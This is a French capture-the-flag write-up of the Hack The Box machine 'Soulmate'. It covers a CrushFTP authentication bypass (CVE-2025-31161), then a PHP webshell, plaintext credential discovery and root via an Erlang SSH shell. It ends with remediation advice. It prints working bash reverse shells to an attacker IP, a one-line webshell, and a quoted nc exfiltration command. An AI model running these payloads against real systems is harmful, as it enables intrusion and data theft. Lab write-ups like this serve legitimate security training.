Post

HTB - Soulmate

HTB - Soulmate

Résumé

Soulmate est une machine easy sur Hack The Box.

L’exploitation commence par le service CrushFTP, vulnérable à la CVE-2025-31161, qui permet un bypass d’authentification. L’utilisateur par défaut de CrushFTP, disposant de privilèges administrateur, peut être abusé afin de créer un nouvel utilisateur admin et d’accéder à l’interface de gestion du service.

Une fois cet accès obtenu, il permet le contrôle du compte qui administre les fichiers du site principal du CTF. Cela nous permet d’uploader un fichier PHP malveillant et d’obtenir un premier accès sur la machine.

Après le foothold, l’élévation de privilèges repose essentiellement sur la recherche de credentials. Un mot de passe est trouvé en clair dans un fichier de configuration, ce qui permet une première escalade vers un utilisateur standard.

Enfin, l’accès root est obtenu via un serveur Erlang SSH (Eshell) écoutant uniquement sur la localhost. L’authentification se fait avec des credentials déjà connus, et le service exécute directement des commandes avec les privilèges root, ce qui permet d’obtenir un reverse shell en tant que root.


Reconnaissance

Scan réseau initial

Nous commençons par identifier les ports ouverts sur la machine cible avec un scan rapide de tous les ports TCP :

1
2
┌──(root㉿kali)-[~]
└─# nmap -T4 -p- -Pn 10.10.11.86
1
2
3
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Deux ports sont exposés :

  • 22/tcp : SSH
  • 80/tcp : HTTP

Nous poursuivons avec un scan plus approfondi :

1
2
┌──(root㉿kali)-[~]
└─# nmap -sC -sV -p22,80 10.10.11.86
1
2
3
4
5
6
7
8
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
  • La machine tourne sous Linux (Ubuntu)
  • Le port 22 expose un service OpenSSH 8.9p1
  • Le port 80 expose un service HTTP exécuté par un serveur web nginx 1.18.0
  • Le serveur web redirige automatiquement les requêtes vers http://soulmate.htb

Ce dernier point est important. Cette redirection nous indique que le serveur utilise probablement des virtual hosts, ce qui laisse penser que plusieurs services / sites peuvent être hébergés derrière cette même adresse IP et le même port 80.

-> J’explique plus en détail ce raisonnement ici:

Conclusion intermédiaire :

  • Une énumération des virtual hosts est pertinente

Reconnaissance du site soulmate.htb

Après l’ajout de soulmate.htb dans /etc/hosts, nous accédons à http://soulmate.htb.

Le site est majoritairement statique et ses fonctionnalités dynamiques se limitent à la création de comptes et à un formulaire de contact. Rien ne semble exploitable immédiatement.

Deux informations sont intéressantes :

  • L’adresse hello@soulmate.htb visible dans le formulaire pourrait correspondre à un utilisateur système
  • Nous sommes certains qu’une base de données existe sur le serveur puisqu’on peut créer un compte, ajouter une photo, une description … Cette information est précieuse et nous permettra, peut-être, de récupérer des credentials une fois le foothold obtenu.

Énumération des virtual hosts

L’énumération des virtuals hosts avec ffuf révèle une nouvelle entrée :

1
2
3
┌──(root㉿kali)-[~]
└─# ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-H "Host: FUZZ.soulmate.htb" -u http://10.10.11.86 -fw 4
  • ftp.soulmate.htb

Nous l’ajoutons dans /etc/hosts.


Analyse de ftp.soulmate.htb

Le virtual host ftp.soulmate.htb expose une interface CrushFTP. En inspectant le code source de la page web, une ligne révèle la version du service :

1
v=11.W.657-2025_03_08_07_52

où :

  • v=11 correspond vraisemblablement à la version majeure du service CrushFTP
  • W.657-2025_03_08_07_52 correspond probablement à la date de build

Une recherche de vulnérabilités montre que cette version est affectée par la CVE-2025-31161, une faille permettant un bypass d’authentification. Un PoC public est disponible et exploitable sur le github de Immersive Security.


Exploitation

Bypass d’authentification CrushFTP

La vulnérabilité repose sur une mauvaise gestion de l’authentification via certains cookies et en-têtes HTTP (currentAuth, CrushAuth, Authorization).

Le PoC permet de se faire passer pour un utilisateur existant. Sur CrushFTP, l’utilisateur crushadmin est un compte administrateur par défaut. S’il est présent, il est possible de l’usurper et de créer un nouvel utilisateur admin via l’injection d’un payload XML.

Exploit :

1
2
3
4
5
6
7
8
9
┌──(env)(root㉿kali)-[~/htb/soulmate]
└─# python3 cve-2025-31161.py  --target_host ftp.soulmate.htb --port 80
[+] Preparing Payloads
  [-] Warming up the target
[+] Sending Account Create Request
  [!] User created successfully
[+] Exploit Complete you can now login with
   [*] Username: AuthBypassAccount
   [*] Password: CorrectHorseBatteryStaple.

L’utilisateur AuthBypassAccount nous donne désormais accès à l’interface d’administration de CrushFTP.


Prise de contrôle du site web

Accès aux fichiers web

Depuis l’interface d’administration de CrushFTP, nous trouvons l’utilisateur ben, propriétaire des fichiers du site soulmate.htb.

Img2

Les fichiers ne sont pas directement accessibles via l’interface administrateur de notre nouvel utilisateur AuthBypassAccount. Cependant, nous pouvons modifier le mot de passe de ben, nous permettant de se connecter avec sa session et de modifier les fichiers du site ou d’en ajouter un malveillant.


Webshell PHP

Avec l’interface de ben, nous déployons un webshell PHP :

1
2
3
<?php
system($_GET['cmd']);
?>

Test rapide :

1
2
┌──(env)(root㉿kali)-[~/htb/soulmate]
└─# curl http://soulmate.htb/cmd.php?cmd=whoami
1
www-data

Le code s’exécute avec l’utilisateur www-data.


Reverse shell

Pour obtenir une session interactive, nous remplaçons le webshell par un reverse shell Bash :

1
2
3
<?php
system('bash -i >& /dev/tcp/10.10.14.214/4444 0>&1');
?>

Nous recevons une connexion en tant que www-data :

1
2
3
4
5
6
7
┌──(root㉿kali)-[~]
└─# rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.214] from (UNKNOWN) [10.10.11.86] 50346

www-data@soulmate:~/soulmate.htb/public$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Post-exploitation

L’utilisateur www-data dispose de privilèges très limités. L’objectif premier est de trouver des credentials pour s’élever en privilège.

Pendant l’énumération, nous trouvons l’emplacement d’une base de données dans un fichier de configuration PHP. Elle révèle le hash MD5 d’un mot de passe administrateur qui ne se casse pas avec hashcat et rockyou.txt.

En continuant l’énumération, nous trouvons un fichier intéressant contenant la chaîne de caractères “PASSWORD=” dans :

1
/usr/local/lib/erlang_login/start.escript

Contenu du script :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
    application:start(asn1),
    application:start(crypto),
    application:start(public_key),
    application:start(ssh),

    io:format("Starting SSH daemon with logging...~n"),

    case ssh:daemon(2222, [
        {ip, {127,0,0,1}},
        {system_dir, "/etc/ssh"},

        {user_dir_fun, fun(User) ->
            Dir = filename:join("/home", User),
            io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
            filename:join(Dir, ".ssh")
        end},

        {connectfun, fun(User, PeerAddr, Method) ->
            io:format("Auth success for user: ~p from ~p via ~p~n",
                      [User, PeerAddr, Method]),
            true
        end},

        {failfun, fun(User, PeerAddr, Reason) ->
            io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
                      [User, PeerAddr, Reason]),
            true
        end},

        {auth_methods, "publickey,password"},

        {user_passwords, [{"ben", "HouseH0ldings998"}]},
        {idle_time, infinity},
        {max_channels, 10},
        {max_sessions, 10},
        {parallel_login, true}
    ]) of
        {ok, _Pid} ->
            io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
        {error, Reason} ->
            io:format("Failed to start SSH daemon: ~p~n", [Reason])
    end,

    receive
        stop -> ok
    end.

Ce script simule un serveur SSH local avec une configuration basique et des logs destinés au débogage. Nous y trouvons le mot de passe de ben qui nous permet de nous connecter en SSH à la machine.


Élévation de privilèges

Sur la machine, des ports locaux non habituels sont en écoutes :

1
2
3
4
5
6
7
8
9
10
11
12
13
ben@soulmate:~$ ss -tunlp
Netid     State      Recv-Q     Send-Q         Local Address:Port           Peer Address:Port     Process
udp       UNCONN     0          0              127.0.0.53%lo:53                  0.0.0.0:*
tcp       LISTEN     0          4096           127.0.0.53%lo:53                  0.0.0.0:*
tcp       LISTEN     0          4096               127.0.0.1:8080                0.0.0.0:*
tcp       LISTEN     0          4096               127.0.0.1:38959               0.0.0.0:*
tcp       LISTEN     0          4096               127.0.0.1:8443                0.0.0.0:*
tcp       LISTEN     0          511                  0.0.0.0:80                  0.0.0.0:*
tcp       LISTEN     0          128                  0.0.0.0:22                  0.0.0.0:*
tcp       LISTEN     0          5                  127.0.0.1:2222                0.0.0.0:*
tcp       LISTEN     0          4096               127.0.0.1:4369                0.0.0.0:*
tcp       LISTEN     0          128                127.0.0.1:39307               0.0.0.0:*
tcp       LISTEN     0          4096               127.0.0.1:9090                0.0.0.0:*

Nous avons déjà découvert dans /usr/local/lib/erlang_login/start.escript un programme qui simule des connexions ssh. Le port 2222 coïncide avec ce service, nous pouvons l’énumérer :

1
2
3
4
5
6
ben@soulmate:~$ telnet 127.0.0.1 2222
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.

SSH-2.0-Erlang/5.2.9

Nous pouvons s’y connecter avec les credentials de ben :

1
2
ben@soulmate:~$ ssh ben@127.0.0.1 -p 2222
ben@127.0.0.1's password:
1
2
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1>

Cette version de Eshell est vulnérable à la CVE-2025-32433, avec un PoC disponible sur le github de colinlyons29.

Accès root

Le PoC envoie notamment au serveur Eshell une commande intéressante os:cmd("cat /lab.txt | nc 10.9.2.46 4444"). En réutilisant os:cmd, nous constatons que nous sommes déjà root sur la machine :

1
2
3
(ssh_runner@soulmate)3> os:cmd('whoami').

"root\n"

La CVE et le PoC ne sont pas plus utiles. Un dernier reverse shell nous permet de terminer la machine :

1
(ssh_runner@soulmate)8> os:cmd("bash -c 'bash -i >& /dev/tcp/10.10.14.214/4444 0>&1'").
1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[/]
└─# rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.214] from (UNKNOWN) [10.10.11.86] 54554

root@soulmate:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@soulmate:/# cat /root/root.txt

Conclusion

Un service exposé et vulnérable permet un premier accès administratif. Cet accès est ensuite utilisé pour compromettre un site web, récupérer des credentials stockés en clair, puis pivoter vers un service interne mal configuré qui exécute directement des commandes avec les privilèges root.


Corrections à apporter

Plusieurs mesures auraient permis d’éviter cette compromission :

  • Mettre à jour CrushFTP vers une version corrigée
  • Restreindre l’accès aux interfaces d’administration
  • Éviter l’exposition de services sensibles sur localhost sans contrôle strict
  • Ne jamais stocker de mots de passe en clair dans des fichiers
  • Appliquer le principe du moindre privilège
  • Isoler correctement les services applicatifs

Ressources utilisées

  • Documentation officielle CrushFTP
  • CVE-2025-31161
  • CVE-2025-32433
This post is licensed under CC BY 4.0 by the author.